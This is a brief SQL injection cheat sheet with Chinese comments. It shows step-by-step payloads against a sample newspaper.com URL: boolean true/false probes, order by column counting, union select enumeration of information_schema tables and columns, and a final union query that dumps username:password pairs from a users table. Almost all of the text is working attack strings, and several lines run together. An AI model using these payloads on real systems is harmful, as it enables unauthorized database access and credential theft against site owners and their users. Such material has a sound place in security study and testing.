SQL
http://newspaper.com/items.php?id=2 //正常回显
http://newspaper.com/items.php?id=2 and 1=2 //提示报错或者未搜索到
http://newspaper.com/items.php?id=2 and 1=1 //正常回显id=2'; show database;#
id=-1' order by 1# //利用order by 1/2/3/4 查询列数
id=-1' union select 1,2,3,4,...,n# //联合注入查看返回值(n为order by已确定的列数)
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# //爆database里面的表
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'# //爆users表里面的字段
id=-1' union select 1,2,group_concat(username,0x3a,password) from users# //爆值,最后输出以username:password格式输出Information_schema.tables //存储了数据库中所有的表信息
Information_schema.columns where table_name = ‘a’ //存储了数据库内部表a中所有的字段信息Last updated